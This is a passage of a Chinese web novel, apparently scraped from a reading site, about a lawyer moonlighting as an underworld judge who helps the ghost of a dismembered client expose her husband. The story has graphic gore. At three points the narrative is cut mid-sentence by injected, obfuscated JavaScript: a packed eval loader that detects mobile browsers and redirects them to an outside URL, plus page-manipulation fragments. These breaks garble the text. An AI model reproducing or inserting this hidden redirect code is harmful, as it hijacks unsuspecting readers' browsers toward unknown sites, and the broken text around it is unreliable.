自从殷垣的照片被挂到了律所平台上后,几乎百分之八十的客户都是年轻女性,也不是什么大案子,大多是家庭矛盾或者民事纠纷的。这种案子找谁咨询都一样,但是如果能花钱找个帅哥聊天性比价肯定更高。 继白素素后,这个女孩更年轻,是和朋友一起来的,来咨询关于寻衅滋事的案子。 她脸色苍白,紧紧握着朋友的手显得有些忐忑不安。见有人进来,忙抬头去看,来人一男一女,青年模样的男人一身及膝黑色大衣,内搭白衬衫,优越的身高,俊秀的面容,天生自带压迫人的精英气场。 女孩看得有些入了神——她是学画画的,就喜欢打量人的五官。 直到被朋友推了推,才尴尬回神,不好意思地打招呼:“您好。” “你好。”殷垣客气说着拉开椅子坐到女孩对面。 旁边邱妍跟在殷垣身边两天早就习惯了每个人对他的反应,心里默念了句“人之常情”。 “……我想来咨询一下我男朋友的案子。”女孩握了握手,继续道:“我和他要结婚了。” “恭喜。”殷垣看她想说又不知道怎么说的模样,干脆掌握了主动权,直接问她:“他做了什么?原告还是被告?案子进展到了哪一步?” 女孩回答流畅多了:“是他打了别人。八个月前吧,他出门和朋友喝酒,在吃饭的时候和人发生了点摩擦。但是对方伤势不重,脸上只有一点淤青的那种程度。我男朋友他自己也受了伤,后来警察把他们全部都以寻衅滋事的罪名给拘留了大概半个多月。现在已经放出来了。” “所以你想问什么?” 女孩纠结:“这具体的流程我也不懂,但是放出来后警察那边就没了动静,我听说可能后期还会起诉,就有点担心这个。其实我们已经取得了对方的谅解,这能争取不起诉吗?” “没什么大问题。” 殷垣注意到邱妍求知若渴的眼神,带了点提携的心思,特意多解释了两句:“其他罪名或许会有点问题,但是要是寻衅滋事的话,又过去了半年大概率是不会有什么事。” “寻衅滋事的罪名比较笼统,属于口袋罪,可大可小,大的上刑事,小的都不会起诉,处理的波动范围比较大。你男朋友这个情况大概率就是行政拘留,放出来后就已经没事了,不用担心。” 邱妍恍然大悟。女孩霎时松了口气,拍了拍胸口,总算是真心笑了出来:“那就好,我还真怕万一我们婚期将至,他再被抓进去了。” 女孩的朋友比她想的要深一些:“有没有什么办法能确认一下呢?我们就怕万一啊,他如果不是行政处罚,那不得有案底吗?” “……你怕影响以后孩子考公?”殷垣说罢,女孩腼腆地笑笑,“毕竟是铁饭碗嘛。” 殷垣不由联想到自己,他那个兼职……也算半个地府铁饭碗了吧? “那就让他去开个无犯罪证明就行。” 他解释了下大概的流程,女孩不住点头记下,估计回去后就会迫不及待催着男友去做。 这两个女孩走后,不多时又有几个咨询类的案件上门。 如此,又过一天。 当晚,殷垣刚吃完晚饭,白无常如期而至,大摇大摆丝毫不见外地往沙发上一摊,呈饼状道:“听说你上班第一天就闹事了?” 他头上那顶写了“一见生财”的帽子摇摇欲坠地侧歪着。 殷垣对他的话表示奇怪:“我什么都没做。” “呦呦呦,你还什么都没做——”白无常阴阳怪气,“昨个妖族的人跑到城隍庙约架,把房顶差点给掀了。你压着他们逼着修好屋子的事可都传开了。” “可以啊,你刚上任就有这么高的集体荣誉感了。” 殷垣波澜不惊:“我只是不想以后睡觉时屋顶漏风。” “……” “你很闲?”白无常震惊,“那我天天忙地脚不沾地算什么?” “算你能干。” “唉,也是。谁没事找判官告状,古代告状还得滚钉板,那些鬼要不是实在太冤,宁死都不会踏进城隍庙半步。人心中的成见是一座大山。” 白无常自己清楚里头的弯弯绕绕,“你也是赶上好时代了。” 殷垣觉得天天加班实在不行,“这个工作就不能多找几个人干吗?” “地府已经在招聘了。”白无常道:“别说你这活,人手缺少,我这更缺人,我的上班搭子都被借调走了。搞得我每天干活,一点劲都没有。” 殷垣可算知道这无常怎么天天闲着来找自己了,感情找人说话解闷来了。 不过白无常这次真不是单纯来解闷的,他有重要事情。 “给我烧点钱花花。” 殷垣:“……” 他毫不犹豫:“没有。” “你有啥烧啥吧。香火也行。” 殷垣敷衍微笑:“只有人民币,不过焚烧人民币是犯法的。” 白无常:“……” 两人一块去上班,半路期间,白无常腰间挂的纸铃铛忽地响了三声,声音空灵幽远,久久不绝。 殷垣下意识往他腰间悬挂的铃铛上去看,镂空花纹装饰看着很繁复精美,不是一般的东西。 “啧,来活了。”白无常边说边着手摁了下铃铛,铃声立即戛然而止。“你自个去城隍庙吧,我一会再去找你玩。” 说着,他已经飘远了。 … 某高档小区内 常年不在这里居住的住户罕见地在家里开了火,剁肉声在晚上七点多忽地响起。刀子剁在砧板上,发出沉重的“咚—咚—咚—咚—” 楼下刚加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667892|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班回家的邻居被这种动静吵得烦躁不堪,怒气冲冲地跑上楼,敲开门,开门的是年轻俊秀的青年,也不知道在做什么菜,一股血腥味顺着门缝往外钻。 邻居下意识后退半步,余怒未消,却留了心思,听说这个男人还是个演员。要是这事解决不好,他就去网上曝光他,让别人都瞧瞧这个十八线小明星的嘴脸。 青年身上穿着黑色围裙,白净脸上挂着自然的笑意:“您好——” “好什么好,你大晚上还让不让人休息了?做个饭叮铃哐当响个没完没了了,有没有素质了?你们这些外地人,真是的——”邻居一气用带着京腔的语调飞快地说道。 青年眼中的情绪淡了淡,笑容依旧不变,“不好意思,刚才在宰鸡,声音是大了点。以后绝对不会了。” “哼,你下次再这样,我直接报警了。”出乎意料的认错态度还不错,邻居说完,气消了点,视线情不自禁越过青年往他身后的空间看去。 似乎察觉到窥视的目光,青年微微倾身,遮住他的打量,礼貌问道:“还有事吗?” “事倒是没什么事,你以后注意一下。” 邻居摆摆手,乘着电梯离开,青年脸上的笑容瞬间消失,面无表情关上门,将拿着刀的手从背后放下。 本是锋利的剁骨刀,却因为用力的砍剁,刀尖已经卷了刃。白色的肉渣和骨渣混着殷红的鲜血,滴滴落在整洁的地板。 血滴成串,沿着玄关一路淌进卫生间。卫生间到处都是湿潮的热气,血腥味久久难以散开,白雾朦胧氤氲,隐约可以看见浴缸上躺了个人。 白皙的小腿搭在缸沿,也只有这一段小腿。 地上躺着其他残余的肢体,头发如海藻缠绕着惨白的头颅。 粉色的脑浆溢出,就像一碗不小心洒落的白粥。 青年站在浴室门前看了会,转身去厨房继续处理接下来的身体。 白无常飘进来时恰好目睹这幕场景,饶是见惯了各路鬼怪的他也不禁捂着嘴干呕一下。 “哎呦卧槽。” 反手抽出勾魂索虚空一抛,立在墙边的女鬼便被套中,身不由己地跟着他飘走。 女鬼眼神呆滞,还没意识到现在发生了什么。 白无常难能地生出点心软,叹气道:“走了,老爷我带你去告状。” 女鬼怔愣地回头看着自己的身体残肢,嘴唇蠕动,然而什么都没说出口。 鬼诉,顾名思义,人被害而死,冤鬼心中郁解难消,转而找判官或者城隍诉冤获得报仇机会。 殷垣第二天上班依旧没什么事,随便找了本书看。泛黄的书页上正写了这段话。 再一翻书名—《判官手札》。 翻译一下就是实习手册。 这地府草台班子到压根没有实习教学直接都给一本书自学就能上任了? 他唇角一抽,忍着想吐槽的冲动,继续往下看。 烛光跳动,小旋风起,一股纸灰味顷刻间窜入殷垣鼻中。 高帽白衣的白无常现了身,拎着身后的女鬼一块上堂,皱眉说道:“你的活来了。” “?” 殷垣朝他看去,白无常那张向来嬉皮笑脸的惨白人脸此刻少有的凝重。 “你怎么——”还没问出来,白无常不等松开勾魂索,捂着嘴弯腰干呕,边吐边骂:“我曹他大爷的,真是太恶心了。” 殷垣走得越近,血腥味愈发浓烈,顺着这味循去,最终定在旁边这女鬼身上。 女鬼低着头,长发遮住她大半脸庞,浑身上下都是水,淅淅沥沥汇聚成了一小片水洼。 “她这是?”殷垣忍着甜腻凶猛几乎让人头晕目眩的腥味,隔着半米远的距离看这女鬼,问白无常道:“她怎么死的?自杀还是他杀?” 女鬼原本怔怔的神情稍微动了动,隔着一缕缕凝固着血液的头发去瞅面前的红衣男人。 白无常一个鬼,吐也吐不出什么东西,只干呕了会,蔫蔫抬头:“何止,她被人分尸了。” “那她怎么没反应?”殷垣第一次见这么呆的鬼。 “新死的鬼都这样,反应慢。等过一会就知道情况了。”白无常收回勾魂索,掏出本子翻了两页,念道:“白素素,年限30岁。被人恶意分尸杀害,生前无功无过,死前大冤,符合鬼诉条件。” “……” “白素素?”殷垣总算是有了点情绪波动。 5. 第 5 章 “咋,你认识?”白无常奇了,“居然这么巧,是你熟人。” “不熟。”殷垣用两个字解释:“客户。” 白素素发着呆,还没意识到自己经历了什么。过了半晌,她脸上的皮突然脱裂开,像斑驳的墙皮一块块落下,露出里面殷红的血肉,肉里埋藏的血管虫子般蠕动。 又过了会,血肉也脱落。一地的碎肉鲜血。 她原本还算齐整的身体,凭空坍塌,两腿平倒地上,上半身分成四五块,头颅咕噜噜落地,被湿长的头发缠绕,发出凄厉的呻吟。 腰部和胳膊同样分开,在地上翻动。 殷垣生平头一次亲眼目睹一个大活人在自己面前几秒钟的时间便支离破碎,加上久久不散的血腥味,三观遭受冲击不说,总算是明白了白无常剧烈的反应。 他远远站开,扶着柱子,要吐不吐,憋得本来就没血色的脸更加白。 眼睛略过一地狼藉,恹恹问白无常:“她倒底怎么回事?” 白无常转过身,一张死人脸满是想吐的欲望:“鬼的形态基本都是刚死都模样。她自己想起来了,身体就会随之变化。” “不行,这太有伤风化了。” 他木着脸,掏出哭丧棒绕着圈打转,嘴里念道:“魂儿魂儿,快快醒。西山青天紫云开,八仙渡海送魂来。生前做人无福报,快快阎王请君庙。” 随着他语调拉长唱戏般念词,地上一块一块的人体碎片神奇地聚在一起,组成个完整的人形。 白素素的头猛地正过来,眼睛猝然睁开,不似刚才般呆傻。 她全都记了起来。 随着她恢复了正常,地上的血肉、水渍全部荡然一空,无影无踪。 白无常将哭丧棒别到腰后面,一脸无语道:“快快快,有什么冤屈赶快说,说完我送你上路走了。” “我……”白素素抹了把眼角,竟然没湿润。 她以为自己已经哭了出来。 “我原来已经死了。”她好一会才喃喃道。 生前记忆走马观灯似的播放一遍,最后的记忆只停留在一把冰冷的刀突然插进自己柔软的腹部时。 她被堵着嘴,怎么都叫不出声音,滚烫的血喷溅到她精心挑选的地毯、沙发、墙纸、壁橱……各个角落。 好冷 好痛 她撕心裂肺地蹲在地上嚎啕大哭起来。 殷垣走近,神色凝重问道:“是谁杀了你?” 白素素泪眼朦胧中抬头:“……” 正难受呢,突然看见了个老熟人。 本来发现自己死了的心情就复杂,看见殷垣后,复杂的心情可以直接乘个二次方。 白素素抽噎着打招呼:“这么巧,殷律师你也死了?” 殷垣:“……” 白无常:“……” 人怎么能乐观到这种程度? 大概是殷垣无语的表情太过鲜活,白素素后知后觉发现他的衣服不太一样,看了眼一身白的白无常,又看了眼一身红的殷垣。 迟疑道:“你这是……地府再就业?原来地府的法袍是红色的。” 神特么法袍。 殷垣:“你别管我,说说你的事。” 白素素低着头,“我被张安宁那孙子给害了。我拿着照片要求他签离婚协议,他跪地求和,我没同意。谁知道他居然狗急跳墙,趁我不注意给我后面了一刀。后面就再也没醒过来。” 三言两语,将她遭遇的大概说了一番。 殷垣沉默良久,作为一个从业五、六年的律师,他就算是再懒接手的案子也有几百件。 婚姻关系处理不好最后闹成激情杀人的犯罪比比皆是。 他以为自己的提醒会有用。 没想到最后还是走到了这一步。 殷垣觑了眼白无常,只见他看热闹般一副全程不参与的模样,心知这是要全权交给自己处理了。 他当判官没经验,当律师的经验还是有点。 “你接下来想怎么办?”殷垣问道。 “我能回去杀了他吗?”白素素真诚问道,“我要把他剖腹挖心,让他身败名裂,让别人都知道他是什么样的人。” “不行。” 殷垣:“现在是法治社会,同态复仇不可取。恶性杀人案件争取死刑立即执行可能性非常大,至于其他,一旦被抓,他一定会身败名裂。” “……” 白素素叹气,露出个苍白的笑,带着嘲弄的意思:“您可真无情。这时候还能这么冷静地和我讨论法律不法律的事,不愧是律师。” 殷垣深深看了她一眼,“人能冲动,法律不能。倘若人人都走私刑,法律就如同虚设。我不能开这个头。” 他转身回到桌案前,拎着判官笔写出一行字。 字迹清隽,一眼便能认出是一个地址和一个人名。 白素素拿着这张纸,茫然道:“这是啥啊?你给我干嘛?” “托梦,把你的案情给这人讲一讲。”殷垣顿了顿道,“他是个警察。” 白素素:“……” 让她一个被害人亲自去报案啊? 多冒昧。 手中的纸忽地无火自燃,灰白的纸烬簌簌落地,她的身影渐渐消失在原地。 等她离开后,白无常奇道:“你怎么会这招的?我没教你吧?” 殷垣指了指“实习手册”,“上面有写。” “你看你,我就说你适合这个岗位吧,刚来就能上手,连培训期都能跳过了。”白无常得意地自夸,“得亏我慧眼识珠。” “……” 殷垣懒得和他废话。 …… 赵云州是一个刑警。 这天他刚刚入睡,猝然听见耳畔一段哀戚的哭声,这声音又冷又低,像阵连绵阴寒的细雨,冻得赵云州忍不住裹紧被子。 半梦半醒之间,他恍惚瞧见一个披头散发的人趴在床头,从蜿蜒的发丝间露出两颗黑黝黝的眼珠。 幽蓝的小夜灯照在她一侧,一只眼睛反着幽幽暗光。 “警察同志……我要报案。”这个人说道。 赵云州:“……” 他蓦地坐起来,和她对视了会,抬手扇了自己一巴掌道:“我怎么做梦都在加班?” 白素素:“……” “警官同志,我来报案的。” 脸虽然有点疼,但赵云州觉得自己应该还没醒,透过昏暗的夜灯光盯着白素素,索性问道:“你要报什么案?” 白素素声情并茂,夹带私货,把整个事情经过说了一通,三句一小骂,五句一大骂,将张安宁塑造成十恶不赦的歹毒小人形象。 离开前,她再三强调这是真的,不是做梦。 天光大亮,赵云州悠悠醒来,想到刚才那个真实的梦境忍不住苦笑,真是最近加班加多了,做梦都在想案子。 …… 殷垣今天再次大摇大摆地翘了班,开着车去高铁站接一个人。 他印象中花姨大概有三十五六岁。听她说远方表弟一个人来四九城还得让人照顾,便下意识以为是个十几岁的小孩。 他站在高铁站外给那人打电话,电话没打通,迎面走过来个身高一米八五左右的高大成年男人。 高大、成年、男人! 柏扶青打招呼:“你好,你就是殷垣吧。” 殷垣手里的电话还在“嘟嘟”作响:“……” 柏扶青穿着驼色大衣,眉眼疏朗,眼中含着浅淡不易察觉的笑,温声道:“我叫柏扶青,幸会。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667893|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他靠近过来比殷垣还要高出个几厘米,背着阳光,倏然一大团阴影罩到殷垣身上。身上有股清淡的草木香味,不知道是喷的香水还是什么。 殷垣迅速挂了电话,手指捏了捏鼻梁,有点难以接受又忍不住好奇问道:“请问,花姨是为什么觉得你一个人来四九城还需要人照顾呢?” 多深的滤镜啊。 “我还没找到工作,在四九城也没住所。”柏扶青解释,“没想到你能答应下来,我真的很开心。” 殷垣心道,要是知道这是个有自主行为能力的成年人,他绝对不可能答应的。 “不客气,我今天也挺长见识的。”殷垣微笑。这么大的姐宝男还挺罕见的。 “什么?”柏扶青感觉有点不大对。 “没什么。”殷垣道:“走吧。” 回去路上,他扫了眼心情颇好的柏扶青:“你来四九城打算做些什么?找工作吗?” 柏扶青其实还没想过,听殷垣问了,也就随口应了句。 “你今年多大了,什么学校毕业的?学的什么专业?有工作经验吗?”殷垣心里盘算着他能帮着人找找工作。 没想到,柏扶青一愣,老实说道:“我三十岁。没上过学,没找过工作。” 平稳行驶的车子突然狠狠一刹车,柏扶青猛地随着惯性后仰,两边的车都响起了喇叭。 殷垣踩着刹车又换了油门,重新发动车子,脸上的惊讶之色怎么都掩饰不了:“你说什么?” 没上过学。 没工作经验。 还三十岁了。 这人到底怎么活下来的?全靠啃老吗? 柏扶青慢慢道:“但我有钱。” 他之前有个山头,里面存了好多黄金。后来穷奇在人间创业,还是从他这拿的创业资金。 殷垣:“……” 心说花姨在S省开了个小餐馆,作为表弟的柏扶青的存款估计也只能够生活开销的,指不定还是花姨为了接济他而给的钱。 但是表面上,殷垣还是点点头,没反驳,“我有两套房,有一套正好空着,你先住着等找到工作再说吧。” 四九城的房价奇高,一个月的房租至少大几千。殷垣秉着能帮点就帮点的心理说道。 柏扶青:“我不能和你一起住吗?” 殷垣:“……” 他怪异地看了眼柏扶青,“不收你房租,你放心住。花姨之前帮我不少忙,你不用有心理负担。” 柏扶青叹气,也行吧,至少见到了人。 殷垣的两套房是上下层挨着,这是他父母在世时买的,说是以后一套给殷垣准备的婚房,结婚后也能住得近些。 后来,他父母双双遇难。殷垣又一直没有结婚的想法,房子便一直空着。 所幸殷垣按时找人来打扫,房子保持的很干净,随时可以让人住进来。 他领着柏扶青交代房子的一些家具时,那边忙得晕头转向,已经失联半个多月的的赵云州忽然打了电话约殷垣出来吃个饭。 “老殷啊,你空没?出来一块聊聊。” 殷垣:“你很闲?” 赵云州作为刑警副队,每天案子多的要命,几周不联系一次都是常态。 “我昨天突然梦到你了,大概是我们好久没见,太想你了。”赵云州叼着烟,叹气:“最近没啥事,吃个饭的功夫还是有的。” 殷垣:“你梦到我了?” 柏扶青耳朵微动,不经意地朝他看了一眼。 “是啊,有个人来报案,说是你的当事人遇害了,来让我主持公道。你说可笑不可笑,哈哈哈哈哈,我连做梦都是这么有逻辑。” “……” 殷垣想到他让白素素托梦的事,“我一会去找你。” 6. 第 6 章 和赵云州约了老地点后,殷垣收起手机,让柏扶青自己休息会,又交代了房子密码后,打算离开。 柏扶青眼看殷垣绷着脸,纤尘不染的衬衫松松裹着劲瘦的腰,透过光影隐隐约约显现出来轮廓。殷垣左手拿起外套,搭在右臂上。 “你要去哪?”柏扶青问道。 殷垣在玄关顿住,回头盯着他道:“你有事?” 柏扶青:“……我还没吃饭。” 他下半句“想请你一起吃个饭。”来不及说出来,殷垣已经毫不犹豫道:“我建议你善用外卖软件。” 那没说出口的话都用眼神表达了出来,但凡柏扶青再多提一些要求,殷垣就会让他滚蛋。 柏扶青:“……” 殷垣径直离开,上了电梯。 半晌,柏扶青才捂着头低低失笑,无奈地自言自语:“这人,脾气还挺大。” …… 赵云州约的老地方是殷垣的大学附近。两人从小就认识,后来殷垣去了京大读法学,赵云州则是子承父业,上了和京大隔了一条街的公安大学。 殷垣到的时候,赵云州已经开始吃着了。这边大学生多,餐馆遍地都是,物美价廉,卫生也不错。除了人多,没别的缺点。 可殷垣偏偏最不喜欢的就是扎人堆里。 皱着眉避开即将撞自己身上的人,殷垣捡了张椅子坐到赵云州面前,“你怎么想起来来这了?” “最近加班加的我都快灵魂出窍了,来这里感受一下大学生活净化净化自己的心灵。” 赵云州吸了口面,抬头瞧见殷垣抽出纸巾开始擦跟前那块桌面,忍不住笑道:“得亏你是律师,不然当了警察怎么在局里待?当初你没选择跟你爸干一行真是明鉴。” 殷垣撩起眼皮看了他一眼,淡淡道:“当初高考报名,天天有人来我家旁敲侧击打探,生怕我去当了警察,哪有机会。” 赵云州笑容缓了缓,“那也是为了你好。毕竟你们家情况特殊,叔叔阿姨肯定更希望你好好活下去,这行,风险太高。” “咚——” 殷垣将茶杯翻了个面,正过来放在桌上。慢条斯理地用热水烫了一烫,打断赵云州的话:“你说梦见有人报案?是我的当事人?” 赵云州:“是啊,我也太敬业了,就连做梦都是案子。唉,今年怎么也得给我发个奖吧。” “我最近确实有个当事人,一直联系不上,说好的来找我拿材料也没来。你记得梦中她的名字吗?” 周围人声喧杂,赵云州凭空生出点荒唐的寒意,“是个女的,叫白素素……不会这么巧吧?卧槽……” 殷垣发挥出平生最精湛的演技,手上动作僵住,惊诧道:“白素素?” “……” 赵云州失声“卧槽”,忙不迭道:“她说是在办一起离婚案,但是没成功,被丈夫杀害并分尸了。” “她丈夫是不是叫张安宁?” “靠,还真是。”赵云州表情青一阵白一阵,感觉整个世界天旋地转起来,唯物主义摇摇欲坠:“不能吧?这对吗?” 殷垣认真道:“不管是不是真的,我觉得你有必要去查查确认一下。不怕一万,就怕万一。” 赵云州说不出来里面的诡异感,总觉得是有一双命运的大手在操控整个事件,压着声音问道:“你不觉得害怕吗?万一是真的呢。我靠,那就是冤魂托梦!” “有时候发生一些科学无法解释的事情很正常。就像你上班的时候不能吃芒果火龙果,办公室里养金鱼,没事还要放几个苹果摆着。不也是一样的。” “……”赵云州恍惚,“这能一样吗?” 殷垣:“殊途同归。要是有冤魂托梦,不正好说明你能力出众,阴阳两界都能通吃了。” 两人愧是十几年的发小,殷垣对赵云州的心理把握得无比精准。 果不其然听见“阴阳两界通吃”六个字,赵云州立刻心动了,当即拍桌,“查,我回去就查,不能辜负人民群众的信任!” 殷垣郑重点头,“有消息了,你知会我一声。毕竟她也是我的当事人。” 赵云州大方道:“顺手的事。” 他美滋滋道:“我这下比福尔摩斯都牛逼了,他的业务都没扩展到下面去。” 真有地府兼职的殷垣默不作声,端起茶杯抿了口水。 深藏身与名。 赵云州热血了会,突然想到另一件事,找殷垣打听问道:“你平时遇见的案子也不少,听说过最近发生的意外死亡的怪事没?这段时间好多年轻小姑娘要么是车祸要么突然发病,死的人还挺多的。” “嗯?”殷垣还真没听说,“我最近没怎么接案子。上周老家出了点事,回去呆了一个星期,这几天才回来。” “你老家怎么了?” “我干爹死了。”殷垣再次收获赵云州饱含同情的眼神,抽了抽嘴角解释道:“不是人,是小时候拜的一棵老树。上周被雷劈死了,我请假回去按规矩送它一程。” “哦哦。”赵云州了然,对这种习俗听说过不少,倒不惊讶。继续道:“本来也不该我们刑警掺和,就是最近老听交警那边抱怨事故太多了,我感觉有点怪。半个月发生五六起意外死亡案件,都是车祸,这全赶一块去了。” 殷垣想了想:“最近天气不好,雨天路滑的原因吧。” “估计是,交警队那边也没啥调查结果。死者都不认识,相互没有社会交集。嗐,意外案件,谁说得准。就是可惜那些小姑娘,大好的年华呢。” 赵云州感叹会,吃完饭后自顾自去上了班。 殷垣离开家后,不知道楼上刚搬来的柏扶青买了一个花盆摆到阳台上,手指悬空其上,人类的手掌瞬间变成一根交缠在一起的藤条。 他面无表情折下一段藤枝,插进花盆中。藤枝在泥土里飞快的生出根系,汲取营养。泥土之上的那段藤枝逐渐变粗,生长枝桠,迎着阳光,翠绿的叶子随风飘摇。 柏扶青捏了捏叶子,心想得找个机会给殷垣送过去。 不然就凭殷垣那八字,迟早被鬼怪盯上。有建木在身边,多少能护着他些。 殷垣下午抽空去了趟律所,主任柳裕恰好也在。 他最见不得殷垣这副无所事事的模样,简直恨铁不成钢,每天都要为这个男人扼腕叹息,但凡殷垣在自己事业上用点心去,哪至于一直在律所里面接一些小案子生活。 见他进门,张口就是喋喋不休:“你说你整天不来上班,手里也没案子,在家做咩呢?” 殷垣压了压眼皮,用一种复杂的、诡异的视线将柳裕上下扫视,直到看得人后背发毛才幽幽问道:“柳哥,你一已婚的男人天天打探我家的事干什么?嫂子知道你这样吗?” “……” 柳裕一蹦半米高,拖鞋差点踢飞,双臂护着自己,头皮发麻道:“你胡思乱想什么东西?我、我那是作为同事的关心。” 虽然殷垣长得很好看,可他是男的! 还是个比自己都高的男的! 柳裕那颗直男心坚不可摧,“你再胡说八道,我就扣你工资了。” 殷垣:“你再问我私事,我就找你老婆告状了。” “……” 柳裕深呼吸,忍了。 殷垣绕过他,回到自己的办公室。办公桌上摆放了一堆邱妍整理好的材料,都是之前做的案子,汇总出案后总结。 沉下心,他认真看了几个小时。缺漏的地方都标注了出来,一块扔给邱妍,让她重新修改。 外面的天色渐晚,电话响了。 是赵云州,“老殷,我刚才联系了白素素的父母……嘶,她还真的失踪了。自从昨天晚上就一直联系不上人,手机也关了机。我现在要去找她家里去看看。张安宁那边,我已经让人给我查了定位,他还在四九城没跑。” 他说着,殷垣的办公室门被敲响。 律师助理悄悄推开门,冲殷垣做口型,“来案子了。” 殷垣点点头,律师助理识趣地关上门,先去招待当事人。 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667894|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云州一边开车一边道:“她父母说她在市中心有一套大平层,但是她很少住在那,平时都在家里别墅呆着。根据梦里的情况,白素素就在大平层被杀害的。” 殷垣:“我知道了。” 他撂了电话,去会见当事人——那人在会客室喝茶,手边放了份协议书。 白净的脸上被窗外晚霞镀上一层红光,眼中含笑,问律师助理:“你认识我吗?” 律师助理一个二十出头的男人懵了,心想我该认识你吗? 面上还是笑着:“有点眼熟,但您这么帅的男性,我要是见了肯定有印象。” 当事人笑笑:“我其实是个演员。” 律师助理:“……” 靠,那他不就是变相说对方没名气吗? 当事人似乎已经习以为常,转而问其他,“殷律师还没来吗?” “马上就来,殷律刚才在忙着手上的事,您不知道,他平时案子太多很忙的……” 说曹操曹操就到,律师助理话没说完,殷垣已经进来了。手指还放在门把手上,目光霎时和当事人交汇一起,脸色忍不住沉了沉。 张安宁,居然在这。 “殷律。”律师助理还不知道发生了什么,微笑起身介绍:“这位张先生想和您聊一聊离婚案。” 殷律自然地关上门,颔首走近,“你好。” 张安宁直勾勾盯着殷垣的脸,除却刚开始的惊艳,他忍不住去想,要是这张脸能长在自己身上该多好。 那他就不用一直跑龙套。 也不会被白素素那个蠢货牵制。 娱乐圈顶流该有的待遇,他会轻而易举摸到。 到那时候,谁还不认识他? 兴许是他的情绪过于外露,就连律师助理都看出来了不对。重复道:“张先生,您现在可以说了。” 张安宁回神,微笑:“不好意思,刚才走神了。” 他拿起手边的协议书问道:“我的太太叫白素素,最近她想和我离婚,这个协议书是出自你们律所吧?” “……”律师助理下意识看向殷垣,发觉他的表情丝毫不意外后,不禁油然钦佩,不愧是见过大风大浪的律师。 殷垣接过协议书看了眼,“是我出的。” 张安宁:“我太太已经回心转意,不会和我离婚了。这份协议,您收回吧。” 殷垣反问道:“白小姐人呢?她还约我今天去吃饭来着,怎么没和你一起来?” 律师助理:“……” 当着人面说要和他老婆约饭,这合适吗? 张安宁脸上神情丝毫不变,“她今天身体不太舒服,在家里休息。” 见此,殷垣觉得白素素的评价实在有失偏颇,这哪是个吃软饭的小白脸。 这明明是可以斩获无数大奖的未来影帝。 就这演技和心理素质,张安宁如果能一直好好演戏,迟早会红遍半边天。 “是吗?那太可惜了。”殷垣扯了扯唇角,“你今天来就为了这事?” 张安宁微微一笑:“当然。我太太不会和我离婚了,我觉得还是有必要亲自来告诉您这位委托律师一声。” “好。”殷垣放在桌面上的手机振动两声,屏幕一亮,跳出“赵云州”三个字。 张安宁下意识朝手机屏幕看了眼,然后放下心。 殷垣拿起手机,“不好意思,我去接个电话。小苏,你去我办公室给我拿个东西。张先生,麻烦你稍等一会。” 律师助理懵懵地跟殷垣出了会客室的门,疑惑道:“殷律,您要什么东西?” 殷垣示意他噤声,电话那头赵云州声音凌厉:“我曹他大爷,白素素家里的冰箱有颗人头。老殷,那个梦是真的——靠,张安宁那孙子,我现在就让人去抓他。” 殷垣沉静道:“来我律所。” “啊?” “他在我这。” 赵云州看着冰箱里布满白霜的人头,神色陡然凝重,顾不得安慰跟着前来的白家父母,拔腿冲下楼。 7. 第 7 章 律师助理目瞪口呆看着殷垣镇静地冲自己交代:“里面这位是个杀人犯,白小姐被他杀了。警察在赶来的路上,你去和柳裕说一声,让其他人别出来。” “……” 律师助理艰难地吞咽口水,发出一声:“啊?” 他错过了什么重要环节? 怎么一下子从民事变成了刑事案件? 脑中思绪百转千回,律师助理也没理清思路,在殷垣注视下手脚僵硬地找去柳裕的办公室。 所幸基本职业素质还在,他将话完整转述给柳裕。 柳裕先是一愣,以为今天是什么愚人节,接着顿感不妙,起身大声问道:“你过来了,殷垣人呢?” 殷垣自然是回到了会客室里,顺手开了灯。 张安宁还不知道杀人的事情已经泄露,还在稳坐软椅上饮茶。 见殷垣回来了,他左右打量了下这间屋子,问道:“殷律师,刚才听说你一直很忙,案子这么多,收入应该很高吧?” “还行。” “真羡慕你们做律师的,也不用为生计发愁,不用担心潜规则这些事。”张安宁苦笑,“比娱乐圈干净多了。” 殷垣挑起眉梢,“你羡慕律师?” “怎么?不能吗?要是能重来,我一定会换个专业走。” “……现在法考要看第一学历,本科以下不能参加。”殷垣语气平静地给他科普。 大专都没上完的张安宁故作沧桑的笑凝固在脸上,青一阵白一阵,不悦地放下杯子:“你什么意思?” “字面意思。”殷垣继续道:“另外有刑事犯罪的人也不能参加法考。” “……” 窗外的天已经暗了下来,CBD高耸入云的商业大楼还能看见几十层加班的内透灯光。 有人在忙忙碌碌,有人在蝇营狗苟。 张安宁扯唇微笑:“有刑事犯罪的人确实不能参加法考,这个我知道。你对我说这个做什么?” 